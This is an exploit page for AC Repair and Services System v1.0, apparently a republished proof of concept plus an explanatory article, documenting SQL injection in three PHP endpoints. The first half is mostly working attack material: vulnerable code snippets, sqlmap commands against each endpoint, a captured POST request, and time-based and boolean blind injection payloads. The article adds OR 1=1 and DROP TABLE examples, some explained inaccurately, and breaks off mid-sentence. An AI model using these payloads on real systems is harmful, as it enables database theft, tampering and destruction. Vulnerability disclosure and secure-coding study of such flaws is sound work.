AC Repair and Services System v1.0 - Multiple SQL Injection

Exploit Author: Gnanaraj Mauviel Analysis Author: www.bubbleslearn.ir Category: Remote Language: PHP Published Date: 2024-03-03
# Exploit Title: AC Repair and Services System v1.0 - Multiple SQL Injection
# Date: 27 December 2023
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-acrss.zip
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

-------------------------------------------------------------------------------------------------------------------------------------------

Source Code(/php-acrss/admin/user/manage_user.php):

<?php 
if(isset($_GET['id'])){
    $user = $conn->query("SELECT * FROM users where id ='{$_GET['id']}' ");
    foreach($user->fetch_array() as $k =>$v){
        $meta[$k] = $v;
    }
}
?>

-> sqlmap -u "http://localhost/php-acrss/admin/?page=user/manage_user&id=" --batch
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user/manage_user&id=' AND (SELECT 5500 FROM (SELECT(SLEEP(5)))hiCZ) AND 'rZIs'='rZIs
---

Source Code(/php-acrss/classes/Master.php):

function delete_inquiry(){
extract($_POST);
$del = $this->conn->query("DELETE FROM `inquiry_list` where id = '{$id}'");
if($del){
$resp['status'] = 'success';
$this->settings->set_flashdata('success'," Inquiry successfully deleted.");
}else{
$resp['status'] = 'failed';
$resp['error'] = $this->conn->error;
}
return json_encode($resp);

}

-> sqlmap -u "http://localhost/php-acrss/classes/Master.php?f=delete_inquiry" --data="id=*" --batch
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=' AND (SELECT 7930 FROM (SELECT(SLEEP(5)))XwlG) AND 'Jimw'='Jimw
---

Source Code(/php-acrss/classes/Users.php):

$qry = $this->conn->query("UPDATE users set $data where id = {$id}");
if($qry){
$this->settings->set_flashdata('success','User Details successfully updated.');
foreach($_POST as $k => $v){
if($k != 'id'){
if(!empty($data)) $data .=" , ";
if($this->settings->userdata('id') == $id)
$this->settings->set_userdata($k,$v);
}
}

POST /php-acrss/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 943
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAUtgvsSwiJifz27g
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/php-acrss/admin/?page=user/manage_user&id=9
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=o92n8nati3696kg69plidv5e77
Connection: close

------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="id"

9
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="firstname"

Claire
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="middlename"


------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="lastname"

Blake
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="username"

cblake
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="type"

2
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryAUtgvsSwiJifz27g--

-> sqlmap -r ~/Documents/POST-localhost.txt --batch

---
Parameter: MULTIPART id ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="id"

(SELECT (CASE WHEN (3947=3947) THEN 9 ELSE (SELECT 2252 UNION SELECT 2638) END))
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="firstname"

Claire
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="middlename"


------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="lastname"

Blake
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="username"

cblake
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="type"

2
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryAUtgvsSwiJifz27g--

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="id"

9 AND (SELECT 7168 FROM (SELECT(SLEEP(5)))pifO)
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="firstname"

Claire
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="middlename"


------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="lastname"

Blake
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="username"

cblake
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="type"

2
------WebKitFormBoundaryAUtgvsSwiJifz27g
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryAUtgvsSwiJifz27g--
---


AC Repair and Services System v1.0: A Case Study in Multiple SQL Injection Vulnerabilities

Security vulnerabilities in web applications are not just theoretical risks—they manifest in real-world systems with potentially devastating consequences. One such example is the AC Repair and Services System v1.0, a PHP-based application hosted on SourceCodester, which has been flagged for multiple SQL injection flaws. This article explores the technical depth of these vulnerabilities, their exploitation methods, and the broader implications for developers and security professionals.

Overview of the Vulnerable System

The AC Repair and Services System v1.0 is a free downloadable PHP application designed to manage user accounts, service inquiries, and repair logs. It uses MySQL as its backend database and integrates standard PHP practices such as $_GET and $_POST for handling user input. While the system appears functional for small-scale operations, its codebase reveals critical security oversights.

According to the exploit report by Gnanaraj Mauviel (@0xm3m), multiple injection points exist across different modules, including user management, inquiry deletion, and user updates. These vulnerabilities are exploitable via automated tools like sqlmap, confirming their presence in real testing environments (XAMPP, Apache, MySQL on macOS).

SQL Injection in User Management Module

Let’s examine the first vulnerable code snippet from /php-acrss/admin/user/manage_user.php:


query("SELECT * FROM users where id ='{$_GET['id']}' ");
 foreach($user->fetch_array() as $k =>$v){
 $meta[$k] = $v;
 }
}
?>

Explanation: This code retrieves user data based on an id parameter passed via the URL (GET request). The value of $_GET['id'] is directly embedded into the SQL query without any sanitization or parameterization. This is a textbook example of unfiltered input being used in a database query.

For instance, if an attacker sends a request like:

http://localhost/php-acrss/admin/?page=user/manage_user&id=1 OR 1=1

The resulting query becomes:

SELECT * FROM users where id = '1 OR 1=1'

This allows the attacker to bypass authentication checks, retrieve all records, or even trigger unintended behavior such as data leakage or denial of service.

Exploitation via sqlmap

Using sqlmap with the following command:


sqlmap -u "http://localhost/php-acrss/admin/?page=user/manage_user&id=" --batch

sqlmap identifies the id parameter as a time-based blind SQL injection vector. The payload:


id=' AND (SELECT 5500 FROM (SELECT(SLEEP(5)))hiCZ) AND 'rZIs'='rZIs

is designed to cause a 5-second delay if the database is vulnerable. If the server responds with a delayed HTTP response, it confirms the presence of SQL injection.

This technique is effective because it does not require visible output—only timing differences to detect successful injection.

Second Vulnerability: Inquiry Deletion via POST

Next, we analyze the delete_inquiry() function in /php-acrss/classes/Master.php:


function delete_inquiry(){
extract($_POST);
$del = $this->conn->query("DELETE FROM `inquiry_list` where id = '{$id}'");
if($del){
$resp['status'] = 'success';
$this->settings->set_flashdata('success'," Inquiry successfully deleted.");
}else{
$resp['status'] = 'failed';
$resp['error'] = $this->conn->error;
}
return json_encode($resp);
}

Explanation: This function accepts id from a POST request and uses it directly in a DELETE query. The lack of input validation or prepared statements makes this susceptible to injection.

For example, an attacker can send:

id=1 OR 1=1

Resulting in:

DELETE FROM inquiry_list where id = '1 OR 1=1'

This could delete all records in the inquiry table, leading to data loss or denial of service.

sqlmap confirms this vulnerability with the same time-based blind method:


sqlmap -u "http://localhost/php-acrss/classes/Master.php?f=delete_inquiry" --data="id=*" --batch

It identifies the id parameter as a time-based blind injection with a payload that triggers a 5-second delay.

Third Vulnerability: User Update with Dynamic SQL

Finally, the save function in /php-acrss/classes/Users.php presents a complex injection vector:


$qry = $this->conn->query("UPDATE users set $data where id = {$id}");
if($qry){
$this->settings->set_flashdata('success','User Details successfully updated.');
foreach($_POST as $k => $v){
if($k != 'id'){
if(!empty($data)) $data .=" , ";
if($this->settings->userdata('id') == $id)
$this->settings->set_userdata($k,$v);
}
}
}

Explanation: This code dynamically constructs SQL using $data and $id from $_POST. The $data variable is built from user input without filtering, and the UPDATE query is formed by directly concatenating user-supplied values.

For instance, if $data is set to username='admin', password='12345' and $id is 1, the query becomes:

UPDATE users set username='admin', password='12345' where id = 1

However, if an attacker controls $data via malicious input (e.g., username='admin'; DROP TABLE users), the query can be crafted to execute arbitrary SQL commands, potentially leading to database destruction.

Even more dangerous, if $id is manipulated to include a OR clause, it can update multiple users or bypass authorization checks.

Security Implications and Best Practices

The AC Repair and Services System v1.0 demonstrates how basic coding practices can lead to critical security flaws. Developers often assume that "simple" applications are safe, but they overlook the importance of input validation and secure query construction.

Here are key recommendations for preventing such vulnerabilities:

  • Use Prepared Statements: Always use parameterized queries instead of string concatenation. For example, use mysqli_prepare() or PDO with placeholders.
  • Validate Input: Sanitize and validate all user inputs before using them in queries. Use whitelisting for allowed values.
  • Avoid extract(): The extract($_POST) function is dangerous—it directly creates variables from user input, opening the door to injection.
  • Implement Role-Based Access: Never allow direct manipulation of database records without proper authentication and authorization checks.
  • Use Error Handling Without Exposure: Never expose database errors to users. Log errors internally instead of returning them in responses.

Real-World Impact

SQL injection vulnerabilities like those in this system can lead to:

  • Data Exfiltration: Attackers can steal sensitive user data, including passwords, contact details, and service history.
  • Data Manipulation: Unauthorized changes to user accounts, inquiry records, or system settings.
  • Database Destruction: Execution of DROP TABLE or DELETE commands can erase critical data.
  • Privilege Escalation: By injecting logic into queries, attackers may gain admin access or bypass authentication.

These risks are not hypothetical. In 2023, numerous